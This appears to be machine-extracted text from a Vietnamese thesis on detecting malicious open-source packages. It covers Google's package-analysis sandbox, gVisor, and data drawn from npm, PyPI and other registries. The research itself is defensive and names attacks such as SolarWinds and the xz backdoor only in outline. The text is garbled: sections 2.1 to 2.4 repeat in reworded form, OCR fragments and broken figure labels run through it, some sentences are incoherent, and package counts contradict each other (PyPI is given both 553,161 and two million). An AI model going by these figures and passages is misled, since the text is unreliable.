Vì vay, trong khóa luận tốt nghiệp này nhóm em nghiên cứu các đặc tinh động của các gói trên các kho lưu trữ phần mềm mã nguồn mở phổ biến như npm, PyPI, RubyGems, Packagist, crates.io,
Côngbốkhoahọc 00.0000 ee ee 3
The findings from this thesis have been submitted by our team to the "International Conference on Computer Applications in Industry and Engineering." The source code and analysis results are stored in reference [6].
Chương 1 giới thiệu nội dung nghiên cứu để các nhóm nghiên cứu khác có thể tham khảo Nhóm chúng tôi đang tiếp tục phát triển và mở rộng bài báo hội nghị nhằm nộp cho một tạp chí có uy tín từ Q3 trở lên.
Mục tiêu, đối tượng và phạm vinghién cứu
Vềkiếnthức
Thông qua khóa luận tốt nghiệp, nhóm em nghiên cứu và áp dụng kiến thức về cấu trúc của các gói phần mềm mã nguồn mở trên các kho phần mềm phổ biến như PyPI và npm.
Kho mã nguồn mở hoạt động như một nền tảng cho phép người dùng truy cập và chia sẻ mã nguồn, nhưng cũng là mục tiêu cho các cuộc tấn công khi kẻ xấu lợi dụng để chèn mã độc vào hệ thống Các công cụ phát hiện gói độc hại có nhiều ưu điểm như khả năng phát hiện nhanh chóng, nhưng cũng tồn tại nhược điểm như tỷ lệ sai sót cao Phân tích và trích xuất các đặc tính từ kết quả phân tích package-analysis giúp người dùng hiểu rõ hơn về các mối đe dọa tiềm ẩn Việc lựa chọn các đặc tính phù hợp cho mô hình học máy rất quan trọng để phân loại các gói độc hại và lành tính một cách hiệu quả Cuối cùng, việc nắm bắt và áp dụng kiến thức cơ bản về học máy sẽ hỗ trợ trong việc phân loại các gói độc hại một cách chính xác hơn.
Vềsảnphẩm
Đối tượng và phạm vi nghiên cứu
Đối tượng và phạm vi nghiên cứu của khóa luận tốt nghiệp này gồm có:
1 Nghiên cứu các kỹ thuật phân tích động các gói phần mềm độc hại, cụ thể là với công cụ package-analysis.
2 Phân tích kết quả phân tích từ công cụ package-analysis để đánh giá hiệu năng cũng như tìm hiểu các đặc tính của các gói mã nguồn mở.
3 Xây dựng một tập dữ liệu bao gồm các gói mã nguồn mở lành tính và độc hại, phục vụ cho việc xây dựng các mô hình học máy để phân loại mã độc.
4 Ap dụng các giải thuật hoc máy trên các đặc tinh động trích xuất từ tap dữ liệu thu thập được.
5 Đánh giá hiệu năng của các giải thuật học máy trong việc phân loại mã độc.
1.44 Bồ cục của khóa luận
Bố cục của khóa luận được tổ chức thành các chương như sau: Chương 1 giới thiệu tổng quan về đề tài; Chương 2 mô tả các khái niệm quan trọng trong bài báo; Chương 3 trình bày kỹ thuật sandbox của package-analysis và quá trình phân tích liên quan; Chương 4 mô tả thực nghiệm và kết quả phát hiện từ việc phân tích dữ liệu lớn của package-analysis; Chương 5 trình bày lý thuyết về các giải thuật học máy được sử dụng trong thực nghiệm; và Chương 6 trình bày các kỹ thuật học máy trong việc phát hiện các gói phần mềm độc hại cùng với ứng dụng thực tiễn của nhóm.
* Chương 7 nhận xét những hạn chế của khóa luận nay và dé xuất cách cải thiện trong tương lai.
* Chương 8 trình bày tóm tắt những kết quả đạt được trong khóa luận của nhóm em.
2.1 Các kho mã nguồn mở
Trong phần này, nhóm em trình bày các kho mã nguồn mở và đặc điểm của chúng.
Bài báo của nhóm tác giả Duan [7] phân tích các đặc tính bảo mật của các kho mã nguồn mở, chú trọng vào các yếu tố như xác thực nhiều yếu tố, hành vi độc hại và các loại tấn công phổ biến trong phần mềm Crates.io, kho lưu trữ phần mềm mã nguồn mở hàng đầu cho ngôn ngữ lập trình Rust, hiện có 152,956 gói phần mềm tính đến tháng 6 năm 2024 Nền tảng này cho phép người dùng tải xuống và quản lý các gói phần mềm, tạo điều kiện thuận lợi cho lập trình viên trong việc chia sẻ và sử dụng mã nguồn của nhau.
PyPI là kho lưu trữ phần mềm mã nguồn mở cho ngôn ngữ lập trình Python, với 553,161 gói tính đến tháng 6 năm 2024 Người dùng thường sử dụng công cụ pip để cài đặt các gói từ PyPI, nơi được quản lý bởi nhóm PyPA Ngược lại, npm là kho lưu trữ phần mềm lớn nhất thế giới cho ngôn ngữ lập trình JavaScript, với 4,855,890 gói tính đến cùng thời điểm Npm không chỉ nổi tiếng mà còn là kho lưu trữ phần mềm có số lượng gói lớn nhất hiện nay.
Packagist là kho lưu trữ phần mềm mã nguồn mở lớn nhất thế giới dành cho ngôn ngữ lập trình PHP, với tổng số 449,097 gói tính đến tháng 6 năm 2024.
RubyGems là kho lưu trữ phần mềm mã nguồn mở lớn nhất dành cho ngôn ngữ lập trình Ruby, cung cấp một lượng lớn gói phần mềm Tính đến tháng hiện tại, kho RubyGems đã có tổng cộng 197,759 gói phần mềm, phục vụ cho nhu cầu phát triển và tối ưu hóa ứng dụng Ruby.
2.2 Tan công chuỗi cung ứng phần mềm
Cuộc tấn công chuỗi cung ứng phần mềm xảy ra khi kẻ tấn công chèn mã độc vào các mắt xích trong chuỗi cung ứng phát triển phần mềm, khiến người dùng cuối trở thành nạn nhân khi cài đặt hoặc cập nhật phần mềm Các cuộc tấn công này có thể được thực hiện thông qua việc đầu độc phần mềm mã nguồn mở hoặc chèn mã độc vào các bản cập nhật của phần mềm phổ biến Tác động của những cuộc tấn công này là rất lớn, vì khi một mắt xích yếu bị xâm phạm, toàn bộ chuỗi cung ứng phát triển phần mềm sẽ bị ảnh hưởng.
Một trong những vụ tấn công chuỗi cung ứng phần mềm nổi bật nhất là vụ SolarWinds, trong đó kẻ tấn công đã xâm nhập vào mạng nội bộ của công ty SolarWinds và chèn mã độc vào bản cập nhật của phần mềm Orion Sau khi các tổ chức, cá nhân, bao gồm cả một số chính phủ, thực hiện cập nhật, kẻ tấn công đã có thể thực hiện nhiều hành vi độc hại như kiểm soát từ xa, do thám, xâm nhập trái phép và đánh cắp thông tin.
Nghiên cứu của Ladisa và các đồng nghiệp [11] đã chỉ ra các kỹ thuật tấn công vào chuỗi cung ứng, đồng thời đề xuất các phương pháp phát hiện và ngăn chặn gói độc hại Một số kiểu tấn công phổ biến bao gồm typosquatting, combosquatting, chiếm tài khoản và chèn mã độc.
Gần đây, một loại mã độc backdoor đã được phát hiện trong tệp nén xz phiên bản 5.6.0 trên hệ điều hành Linux Tệp nén này chứa các tệp m4 không có trong các kho lưu trữ chính thức, với các câu lệnh tự động nhằm tự động hóa quá trình biên dịch phần mềm Những lệnh này đã được mã hóa để né tránh phát hiện và khi thực thi, chúng sửa đổi các hàm chương trình trong quá trình cài đặt gói phần mềm liblzma Điều này dẫn đến việc phần mềm sshd sử dụng các hàm đã bị chỉnh sửa, cho thấy sự tinh vi của cuộc tấn công chuỗi cung ứng phần mềm.
2.3 CÁC CÔNG CỤ PHÂN TÍCH MÃ ĐỘC TĨNH
2.3 Các công cụ phân tích mã độc tinh
Phân tích tĩnh là quá trình đánh giá chương trình mà không cần thực thi, sử dụng các công cụ nhằm phát hiện biểu hiện độc hại trong mã nguồn hoặc tệp tin metadata Các công cụ này áp dụng các mẫu như quy tắc hoặc chữ ký để nhận diện mã độc Mặc dù phân tích tĩnh nhanh hơn so với phân tích động, nhưng nó có tỉ lệ dương tính giả cao, dẫn đến việc các gói lành tính có thể bị nhầm lẫn là độc hại Hơn nữa, các công cụ này không phát hiện được hành vi độc hại trong quá trình chạy hoặc cài đặt gói, và các gói độc hại có thể sử dụng kỹ thuật chống phân tích như làm rối mã hoặc mã hóa để tránh bị phát hiện.
Một vài công cụ phân tích tĩnh phổ biến mã nguồn mở bao gồm:
OSS Detect Backdoor là một công cụ mã nguồn mở do Microsoft phát triển, tích hợp nhiều công cụ nhỏ khác nhau để tự động tải phần mềm và thực hiện phân tích chi tiết dựa trên tên phần mềm, phiên bản và tên kho lưu trữ Nhờ vào việc tích hợp này, OSS Detect Backdoor cung cấp kết quả phân tích đa dạng cho các gói phần mềm Bandit4Mal, được nghiên cứu bởi nhóm bảo mật của Đại học Trento và SAP Security Research, cũng là một công cụ mã nguồn mở, chuyên tìm kiếm lỗ hổng bảo mật trong phần mềm viết bằng ngôn ngữ Python Công cụ này áp dụng các quy tắc và kỹ thuật phân tích cây cú pháp trừu tượng để phát hiện các vấn đề bảo mật.
Cây cú pháp (AST) được sử dụng để xác định các gói độc hại PyPI Malware Checks là công cụ kiểm tra mã độc cho kho lưu trữ mã nguồn mở PyPI, giúp phát hiện mã độc trong từng gói được đăng tải Công cụ này áp dụng các quy tắc để nhận diện các gói mã nguồn mở độc hại.
CHUONG 2 NEN TANG ¢ Capslock [18]: công cu này có khả nang phân tích các ứng dụng dòng lệnh
Giao diện dòng lệnh (CLI) của các gói được phát triển bằng ngôn ngữ Go cho phép người dùng nhận biết các quyển mà các gói này có thể truy cập Hiện tại, công cụ này chỉ hỗ trợ phân tích các gói viết bằng ngôn ngữ Go.
Các công cụ phân tích tĩnh thường chuyển đổi mã nguồn của phần mềm thành cây cú pháp trừu tượng để phát hiện mô thức của gói độc hại Nghiên cứu của nhóm tác giả [4] cho thấy những công cụ này gặp khó khăn trong việc phát hiện chính xác các gói phần mềm mã nguồn mở, dẫn đến nhiều kết quả dương tính giả Để cải thiện độ chính xác, nghiên cứu đề xuất sử dụng công cụ phân tích động, như chạy và phân tích gói trong môi trường sandbox.
2.4 Các công cụ phan tích mã độc động
Các khomãnguồnmở
Trong phần này, nhóm em trình bày các kho mã nguồn mở và đặc điểm của chúng.
Bài báo của nhóm tác giả Duan [7] phân tích các đặc tính bảo mật của các kho mã nguồn mở, tập trung vào các yếu tố như xác thực nhiều yếu tố, hành vi độc hại và các loại tấn công phổ biến trong phần mềm Crates.io, kho lưu trữ phần mềm mã nguồn mở lớn nhất cho ngôn ngữ Rust, hiện có 152,956 gói phần mềm tính đến tháng 6 năm 2024 Nền tảng này cho phép người dùng dễ dàng tải và quản lý các gói phần mềm, giúp lập trình viên chia sẻ và sử dụng mã nguồn của nhau một cách hiệu quả.
PyPI là kho lưu trữ phần mềm mã nguồn mở cho ngôn ngữ lập trình Python, với 553,161 gói tính đến tháng 6 năm 2024 Người dùng thường sử dụng pip để cài đặt các gói phần mềm từ PyPI, nơi được quản lý bởi nhóm PyPA Trong khi đó, npm là kho lưu trữ phần mềm mã nguồn phổ biến nhất thế giới cho ngôn ngữ lập trình JavaScript, với 4,855,890 gói tính đến tháng 6 năm 2024, và cũng là kho lưu trữ có số lượng gói lớn nhất thế giới hiện nay.
Packagist là kho lưu trữ phần mềm mã nguồn mở hàng đầu cho ngôn ngữ lập trình PHP, với tổng cộng 449,097 gói tính đến tháng 6 năm 2024.
RubyGems là kho lưu trữ phần mềm mã nguồn mở lớn nhất dành cho ngôn ngữ lập trình Ruby, với tổng cộng 197,759 gói phần mềm tính đến tháng hiện tại.
Tan công chuỗi cung ứng phan mềm
Cuộc tấn công chuỗi cung ứng phần mềm xảy ra khi kẻ tấn công chèn mã độc vào các mắt xích trong chuỗi phát triển phần mềm, khiến người dùng cuối trở thành nạn nhân khi cài đặt hoặc cập nhật phần mềm Hình thức tấn công này có thể diễn ra qua việc đầu độc phần mềm mã nguồn mở hoặc chèn mã độc vào các bản cập nhật của phần mềm phổ biến Tác động của cuộc tấn công là rất lớn, vì khi một mắt xích yếu bị xâm phạm, toàn bộ chuỗi cung ứng phần mềm sẽ bị ảnh hưởng.
Một trong những vụ tấn công chuỗi cung ứng phần mềm nổi tiếng nhất là vụ SolarWinds, trong đó kẻ tấn công đã xâm nhập vào mạng nội bộ của SolarWinds và chèn mã độc vào bản cập nhật phần mềm Orion Sau khi các tổ chức, cá nhân, bao gồm cả một số chính phủ, thực hiện cập nhật, kẻ tấn công đã có khả năng thực hiện các hành vi độc hại như kiểm soát từ xa, do thám, xâm nhập trái phép và đánh cắp thông tin.
Nghiên cứu của Ladisa và các đồng nghiệp [11] đã chỉ ra các kỹ thuật tấn công vào chuỗi cung ứng, đồng thời đề xuất các phương pháp phát hiện và ngăn chặn các gói độc hại Một số hình thức tấn công phổ biến bao gồm typosquatting, combosquatting, chiếm đoạt tài khoản và chèn mã độc.
Gần đây, một mã độc backdoor đã được phát hiện trong tệp nén xz phiên bản 5.6.0 trên hệ điều hành Linux, chứa các tệp m4 không có trong kho lưu trữ chính thức Những tệp tin này chứa các lệnh tự động hóa quá trình biên dịch phần mềm, được mã hóa để tránh bị phát hiện Khi chạy, chúng sửa đổi các hàm chương trình trong gói phần mềm liblzma Hệ quả là, phần mềm sshd vô tình sử dụng những hàm đã bị sửa đổi, cho thấy tính phức tạp và tinh vi của cuộc tấn công chuỗi cung ứng phần mềm.
2.3 CÁC CÔNG CỤ PHÂN TÍCH MÃ ĐỘC TĨNH
2.3 Các công cụ phân tích mã độc tinh
Phân tích tĩnh là quá trình đánh giá chương trình mà không cần thực thi, sử dụng các công cụ để phát hiện biểu hiện độc hại trong mã nguồn và tệp tin metadata Những công cụ này áp dụng các mẫu như quy tắc và chữ ký để nhận diện mã độc Mặc dù phân tích tĩnh nhanh hơn phân tích động, nhưng thường có tỉ lệ dương tính giả cao, dẫn đến việc nhận diện sai các gói lành tính thành độc hại Hơn nữa, các công cụ này không thể phát hiện hành vi độc hại trong quá trình chạy hoặc cài đặt phần mềm, và các gói độc hại có thể áp dụng kỹ thuật chống phân tích như làm rối mã hoặc mã hóa để tránh bị phát hiện.
Một vài công cụ phân tích tĩnh phổ biến mã nguồn mở bao gồm:
OSS Detect Backdoor là một công cụ mã nguồn mở do Microsoft phát triển, tích hợp nhiều công cụ nhỏ khác để tự động tải phần mềm và thực hiện phân tích chi tiết dựa trên tên phần mềm, phiên bản và tên kho lưu trữ Nhờ vào việc kết hợp nhiều công cụ, OSS Detect Backdoor cung cấp kết quả phân tích đa dạng về các gói phần mềm Bandit4Mal, được phát triển bởi nhóm nghiên cứu bảo mật của Đại học Trento và SAP Security Research, là một công cụ mã nguồn mở dùng để phát hiện lỗ hổng bảo mật trong phần mềm viết bằng ngôn ngữ lập trình Python, sử dụng các quy tắc và kỹ thuật phân tích cây cú pháp trừu tượng.
Cây cú pháp (AST) được sử dụng để xác định các gói độc hại trong kho lưu trữ mã nguồn mở PyPI PyPI Malware Checks là công cụ kiểm tra mã độc trong từng gói được đăng tải lên PyPI, sử dụng các quy tắc để phát hiện các gói mã nguồn mở độc hại.
CHUONG 2 NEN TANG ¢ Capslock [18]: công cu này có khả nang phân tích các ứng dụng dòng lệnh
Giao diện dòng lệnh (CLI) của các gói được phát triển bằng ngôn ngữ Go cho phép người dùng nhận biết các quyển mà các gói này có thể truy cập Hiện tại, công cụ này chỉ hỗ trợ phân tích các gói viết bằng ngôn ngữ Go.
Các công cụ phân tích mã nguồn thường chuyển đổi mã của phần mềm thành cây cú pháp trừu tượng để phát hiện mô thức của các gói độc hại Nghiên cứu của nhóm tác giả [4] chỉ ra rằng các công cụ phân tích tĩnh gặp khó khăn trong việc phát hiện các gói mã nguồn mở độc hại, dẫn đến nhiều kết quả dương tính giả Để cải thiện độ chính xác, nghiên cứu đề xuất sử dụng các công cụ phân tích động, như chạy và phân tích các gói trong môi trường sandbox.
2.4 Các công cụ phan tích mã độc động
Phân tích động đã nâng cao khả năng của các công cụ phân tích tĩnh bằng cách tập trung vào việc quan sát hành vi thay vì sử dụng chữ ký hoặc quy tắc để phát hiện mã độc N6 thực hiện phân tích bằng cách chạy mã trong môi trường cô lập, cho phép theo dõi hoạt động của các tiến trình và nắm bắt các hoạt động mạng như địa chỉ IP và tên miền mà mã độc kết nối Bằng cách này, các công cụ phân tích động có thể ghi lại các file mà mã độc đã truy cập và theo dõi log, mang lại cái nhìn sâu sắc hơn về hành vi của phần mềm độc hại.
Phân tích động đánh giá hành vi của các gói mã nguồn, mang lại độ chính xác cao hơn so với các công cụ phân tích tĩnh Tuy nhiên, phương pháp này đòi hỏi nhiều thời gian và nguồn lực để thiết lập môi trường phân tích phù hợp, cũng như cần có kỹ năng bảo mật vững chắc để hiểu rõ kết quả.
Các công cụ phân tích động phổ biến bao gồm MalOSS, một công cụ sử dụng Sysdig để ghi lại các lời gọi hệ thống, tên miền và địa chỉ IP đã kết nối, cũng như các tiến trình đang hoạt động.
2.4 CÁC CÔNG CỤ PHÂN TÍCH MÃ ĐỘC ĐỘNG trình chạy trong quá trình phân tích gói.
* SonarQube: đây là một công cụ kết hợp cả phân tích tĩnh và phân tích động
Package-analysis là công cụ phân tích động các gói mã nguồn mở, được phát triển bởi Google và ra mắt lần đầu vào tháng 4 năm 2022 Công cụ này tự động hóa toàn bộ quy trình phân tích, bao gồm tải xuống, khởi tạo sandbox và phân tích Package-analysis có khả năng ghi lại các câu lệnh đã sử dụng, tên miền và địa chỉ IP mà gói kết nối tới, cùng với các tệp tin mà gói phần mềm sử dụng trong môi trường sandbox.
* Package-hunter [22]: công cụ có khả năng phân tích các thành phan mô-đun
Packj là một công cụ phân tích phần mềm được phát triển bởi nhóm nghiên cứu bảo mật của tổ chức Ossillate Inc, hỗ trợ phân tích gói từ nhiều kho lưu trữ như npm, Packagist, Rubygems, Nuget, Maven và Cargo Công cụ này kết hợp cả phân tích động và phân tích tĩnh, giúp kiểm tra các hành vi độc hại của các mô-đun phần mềm Bằng cách cài đặt các mô-đun trong môi trường sandbox và phân tích các lời gọi hệ thống, Packj nhằm mục đích chống lại các cuộc tấn công chuỗi cung ứng phần mềm, tương tự như các giải pháp phân tích gói khác.
Công cụ packj, bên cạnh package-analysis, là một công cụ phân tích động hiệu quả cho các gói phần mềm mã nguồn mở phổ biến Packj có khả năng quét nhiều gói phần mềm trong các kho lưu trữ tương tự như package-analysis Nhóm chúng tôi đã nghiên cứu và so sánh hai công cụ này, và kết quả so sánh được trình bày trong Bảng 2.1.
Các công cụ phân tích mã độc động
trình chạy trong quá trình phân tích gói.
* SonarQube: đây là một công cụ kết hợp cả phân tích tĩnh và phân tích động
Package-analysis là công cụ phân tích động các gói mã nguồn mở, được phát triển bởi Google và ra mắt lần đầu vào tháng 4 năm 2022 Công cụ này tự động hóa toàn bộ quy trình phân tích, từ tải xuống đến khởi tạo sandbox và phân tích Package-analysis có khả năng ghi lại các câu lệnh đã sử dụng, tên miền và địa chỉ IP mà gói kết nối tới, cũng như các tệp tin mà gói phần mềm sử dụng trong quá trình phân tích trong môi trường sandbox.
* Package-hunter [22]: công cụ có khả năng phân tích các thành phan mô-đun
Packj là một công cụ phân tích phần mềm được phát triển bởi nhóm nghiên cứu bảo mật của tổ chức Ossillate Inc, giúp kiểm tra các hành vi độc hại của các mô-đun phần mềm Công cụ này hỗ trợ phân tích gói từ nhiều kho lưu trữ như npm, Packagist, Rubygems, Nuget, Maven và Cargo, bằng cách cài đặt các mô-đun trong môi trường sandbox và phân tích các lời gọi hệ thống Packj được thiết kế nhằm chống lại các cuộc tấn công chuỗi cung ứng phần mềm và có nhiều điểm tương đồng với package-analysis.
Công cụ packj, bên cạnh package-analysis, cũng là một công cụ phân tích động hiệu quả cho các gói phần mềm mã nguồn mở phổ biến Với khả năng quét hàng loạt gói phần mềm trong các kho lưu trữ, packj cho phép nhóm em tiến hành so sánh với package-analysis Kết quả so sánh này được trình bày chi tiết trong Bảng 2.1.
Trong khóa luận này, nhóm chúng tôi đã sử dụng công cụ package-analysis để phân tích các gói mã nguồn mở Công cụ này cho phép phân tích các gói phần mềm trong các kho lưu trữ, nhằm mục đích xác định các hành vi độc hại trong mã nguồn.
Sử dụng gói phân tích package-analysis trong môi trường sandbox với kỹ thuật container kết hợp cùng công cụ Gvisor, giúp cung cấp các lời gọi hệ thống cho container, từ đó nâng cao tính cô lập cho môi trường sandbox.
Có thể thiết lập một môi trường cô lập để phân tích trong ba giai đoạn: cài đặt, chạy chương trình và thực thi Nguồn mã có sẵn dưới dạng mã nguồn địa phương (local) và trên các kho lưu trữ mã nguồn mở (live package).
Phân tích động và phân tích tĩnh là hai phương pháp quan trọng trong việc ghi lại các log liên quan đến lời gọi hệ thống và tương tác giữa phần mềm và hệ thống Cả hai phương pháp này giúp xác định 6 mức độ cơ bản để tối ưu hóa quy trình kiểm tra và phát hiện lỗi Việc áp dụng chúng không chỉ nâng cao hiệu quả phát triển phần mềm mà còn cải thiện khả năng bảo trì và quản lý hệ thống.
- Chỉ hỗ trợ sandbox tại thời điểm cài đặt (install time), không hỗ trợ tại thời điểm chạy chương trình
Kỹ thuật can thiệp vào lời gọi hệ thống (system call interposition) cho phép người dùng thay đổi và chỉnh sửa các lời gọi hệ thống khi phần mềm thực hiện Kỹ thuật này mang lại khả năng kiểm soát và quản lý tốt hơn các tương tác giữa phần mềm và hệ điều hành.
Chỉ có thể phân tích các gói mã nguồn trên các kho lưu trữ mã nguồn mở.
Phân tích động và phân tích tinh.
12Bang 2.1 So sánh công cu package-analysis và packj
Các công cụ phân tích mã độc động gói phần mềm dựa trên ba tiêu chí chính: tệp tin mà gói sử dụng, địa chỉ IP hoặc tên miền mà gói kết nối tới, và các câu lệnh mà gói phần mềm sử dụng Hơn nữa, package-analysis có khả năng lưu giữ các tương tác của phần mềm độc hại với hệ thống và các kết nối mạng, phục vụ cho việc đánh cắp thông tin hoặc cho phép truy cập từ xa, được thực hiện trong môi trường Gvisor sandbox Ngoài ra, dữ liệu thô đã được phân tích và lưu trữ bởi package-analysis có thể được sử dụng miễn phí trên Google BigQuery, giúp cho việc phân tích sâu và khai thác dữ liệu lớn trở nên khả thi.
Chương 3 KỸ THUẬT SANDBOXING VÀ CÔNG CỤ
Sandbox là môi trường cô lập giúp phân tích động mã độc và các chương trình nguy hiểm mà không ảnh hưởng đến hệ thống máy thật Công cụ phân tích động mà nhóm em giới thiệu trong chương này là package-analysis, được phát triển dựa trên kỹ thuật sandboxing.
Công cụ package-analysis có khả năng phân tích các gói phần mềm từ các kho lưu trữ nguồn mở, giúp phát hiện các hành vi đáng ngờ liên quan đến phần mềm độc hại.
* Các gói mã nguồn truy cập vào những tệp nào?
* Các gói mã nguồn kết nối với những địa chỉ nào?
* Các gói mã nguồn chạy những lệnh nào?
Cấu trúc của package-analysis được thể hiện trong Hình 3.1, trong đó môi trường sandbox sử dụng container chạy trong container Việc áp dụng hai lớp container này giúp tạo ra một môi trường cô lập an toàn hơn cho việc phân tích các gói mã nguồn mở, với lớp container bên ngoài sử dụng Docker để tạo ra các container.
Container được tạo từ image gcr.io/ossf-malware-analysis/analysis, sau đó bên trong container này, hai container khác được khởi chạy để thực hiện phân tích gói Một container cho phân tích động được tạo từ image gcr.io/ossf-malware-analysis/dynamic-analysis và một container cho phân tích tĩnh từ image gcr.io/ossf-malware-analysis/static-analysis Cả hai container này đều sử dụng Podman để vận hành Người dùng có thể tạo container từ các image khác bằng cách sử dụng tham số sandbox-image và image-tag khi khởi động containers.
Hai thành phần quan trọng trong việc khởi tạo và vận hành môi trường sandboxing của package-analysis là analyzer và worker Analyzer chịu trách nhiệm khởi tạo và chuẩn bị các tham số cần thiết cho container, giúp đảm bảo quá trình phân tích diễn ra hiệu quả.
Ky thuật Sandboxing va Công cụ Package-Analysis 14
Kỹ thuật Sandboxing Ặ SẺ 14
gcr.io/ossf-malware-analysis/dynamic-analysis
' Container Container Con ai for for for
‘analysis analysis ‘analysis đà, run Containet th,
' podman fer static for sal for static Ị | analysis (analysis | \analysis
' 43 ubuntu gcr.io/ossf-malware-analysis/static-analysis ! Ũ
+gCr.iO/ossf-malware-analysis/analysis l
Kiến trúc sandbox của package-analysis bao gồm các thành phần cần thiết như mạng và ghi log Worker sẽ tạo sandbox, chạy container và thực thi các file để phân tích các gói mã nguồn mở Package-analysis sử dụng hai chế độ chính để khởi tạo và chạy sandbox: chế độ phân tích tĩnh và chế độ phân tích động.
Trong chế độ phân tích động, image mặc định được sử dụng là gcr.io/ossf-malware-analysis/dynamic-analysis, cung cấp môi trường như Ubuntu 22.04, Kubernetes, Node.js, PowerShell, Composer, npm, Pip, Ruby, Rust và các file script phân tích gói Khi thực hiện package-analysis, người dùng có thể điều chỉnh các tham số như image, cấu hình mạng (có kết nối internet hay không) và tùy chọn pull lại image thông qua việc thay đổi tham số nopull và offline.
Sau mỗi lần phân tích gói, các container sẽ bị xóa bởi thành phần worker Trong chế độ phân tích tĩnh, nguyên lý hoạt động của sandbox vẫn giữ nguyên như trong chế độ phân tích động.
Gvisor là một kernel không gian người dùng được phát triển bằng ngôn ngữ lập trình Golang, cung cấp lớp bảo vệ giữa ứng dụng trong containers và hệ điều hành máy chủ Việc sử dụng Gvisor trong package-analysis giúp tăng cường tính an toàn cho sandbox bằng cách cung cấp các lời gọi hệ thống cho container, tạo ra một môi trường bảo mật hơn cho các ứng dụng.
CHƯƠNG 3 KY THUAT SANDBOXING VA CONG CỤ PACKAGE-
ANALYSIS tăng tính cô lập va an toàn cho máy host khi khởi chạy sandbox bằng container.
Việc sử dụng kernel của máy host có thể khiến mã độc khai thác lỗ hổng trong kernel, từ đó thoát ra khỏi sandbox container và lây nhiễm đến máy host Gvisor hỗ trợ nhiều kiến trúc khác nhau trong môi trường Linux, bao gồm x86, ARM và máy ảo.
Gvisor có một số hạn chế cần lưu ý Đầu tiên, Gvisor hoạt động trong không gian người dùng, do đó không được ưu tiên như Kernel Thứ hai, Gvisor hiện chỉ hỗ trợ 211 lời gọi hệ thống phổ biến, dẫn đến việc các ứng dụng sử dụng lời gọi không có trong Gvisor sẽ gặp lỗi Cuối cùng, Gvisor tạo ra lớp bảo vệ, ngăn chặn container tương tác trực tiếp với phần cứng của máy chủ.
Do đó, nếu các ứng dụng trong container muốn tương tác trực tiếp với phần cứng của máy thật, điều này là không thể [31].
3.2 Công cu phân tích động package-analysis
Trong phần này, nhóm em sẽ trình bày chi tiết về cách phân tích của công cụ package-analysis, bắt đầu từ việc nhận các tham số đầu vào, khởi tạo sandbox, đến quá trình phân tích và đưa ra kết quả ở dạng thô Quá trình này bao gồm ba giai đoạn chính: cài đặt (install), nhập dữ liệu (import) và thực thi (execute).
Trước khi tiến hành phân tích các gói phần mềm, package-analysis khởi tạo môi trường sandbox, quá trình này được mô tả chi tiết trong phần 3 Đầu vào của package-analysis bao gồm tên gói phần mềm mã nguồn mở và tên các kho lưu trữ tương ứng như npm, PyPI, Packagist, Rubygems, và crates.io.
Công cụ package-analysis thực hiện phân tích các gói phần mềm tự động dựa trên kho lưu trữ phần mềm và ngôn ngữ lập trình tương ứng Trong giai đoạn cài đặt, nó cài đặt các gói phần mềm mã nguồn mở bằng các câu lệnh như pip cho Python, npm cho JavaScript, composer.phar cho PHP, gem cho Ruby, và cargo cho Rust.
3.2 CONG CỤ PHAN TÍCH ĐỘNG PACKAGE-ANALYSIS Ở giai đoạn import, công cụ package-analysis tự động import gói đã cài đặt trước đó Cụ thể hơn, đối với gói lập trình PyPI, package-analysis sử dụng một mô-đun là importlib để thực hiện import các gói đã cài đặt Hoặc với các gói npm, package- analysis sử dụng mô-đun require. Ở giai đoạn execute, package-analysis sử dung kỹ thuật đệ quy để thực hiện chạy tất cả các hàm có trong gói.
Công cụ package-analysis ghi lại tất cả các quá trình phân tích ở từng giai đoạn, bao gồm địa chỉ IP, tên miền kết nối, câu lệnh thực thi và các file đã truy cập Các thông tin này được phân loại thành ba giai đoạn và xuất ra dưới dạng một tệp tin.
Package-analysis không chỉ thực hiện phân tích động mà còn áp dụng phân tích tĩnh Có ba phương pháp phân tích tĩnh mà package-analysis sử dụng, trong đó phương pháp cơ bản chỉ tập trung vào việc phân tích các thông tin cơ bản như kích thước file, loại file và mã hash (sử dụng sha256) của từng file.
Parsing là quá trình chiết xuất thông tin từ mã nguồn của gói phần mềm, hiện tại chỉ hỗ trợ ngôn ngữ JavaScript Một ví dụ điển hình là công cụ package-analysis, công cụ này tính toán các chỉ số entropy của các đoạn mã trong gói phần mềm Chỉ số entropy càng cao thì khả năng chương trình bị làm rối mã càng lớn.
Signals sử dụng các quy tắc để trích xuất thông tin từ mã nguồn, chẳng hạn như việc phân tích gói (package-analysis) nhằm tìm ra các đoạn code hoặc chương trình bị làm rối hay mã hóa trong mã nguồn của các gói phần mềm.
Chương 4 PHAN TICH VÀ KHAI PHA DU LIEU
Trong chương này, nhóm em phân tích các đặc tính cơ bản của các gói phần mềm thông qua công cụ package-analysis Dữ liệu chủ yếu được lấy từ tập dataset ossf-malware-analysis trên Google BigQuery Bảng 4.1 trình bày danh sách các kho phần mềm phổ biến được nghiên cứu trong khóa luận Nguồn dữ liệu bao gồm các gói từ các kho lưu trữ nổi tiếng như crates.io, npm, PyPI, và Packagist.
4.1 Tổng quan về các kho mã nguồn mở
Tổng quan về các kho mã nguồnmở
Bảng 4.1 cho thấy rằng các gói phần mềm trên npm chiếm ưu thế về số lượng trong tập dataset, trong khi PyPI đứng thứ hai với hai triệu gói.
Số lượng phân tích của các gói trong kho crates.io, Packagist, và Rubygems đều tương đối thấp Trong đó, tỉ lệ các gói được phân tích trên crates.io cao nhất với 87.2%, trong khi Packagist chỉ đạt 16.37% Dù npm có số lượng gói phần mềm lớn nhất, nhưng chỉ 28% trong số đó được phân tích bởi công cụ package-analysis.
Biểu đồ 4.1 minh họa tỷ lệ thành công của việc phân tích các gói phần mềm trong quy trình cài đặt và nhập khẩu, với giai đoạn cài đặt đạt tỷ lệ thành công trung bình là 62.75% và giai đoạn nhập khẩu đạt 95.81% trên tất cả các kho.
Các gói phần mềm npm có tỉ lệ thành công cao nhất trong giai đoạn cài đặt
Trong giai đoạn import, tỷ lệ thành công của các gói trên crates.io đạt 100%, tuy nhiên, chúng đứng thứ hai về mặt tổng thể Ngược lại, các gói khác chiếm 90% và dẫn đầu trong giai đoạn này.
Trong kho phần mềm Ngôn ngữ Số, có tổng cộng 144,047 gói được lưu trữ, trong đó 125,640 gói đã được phân tích Tỉ lệ gói được phân tích đạt 87.22% theo dữ liệu từ package-analysis trên crates.io.
Bang 4.1 Các kho mã nguồn ở phổ biến
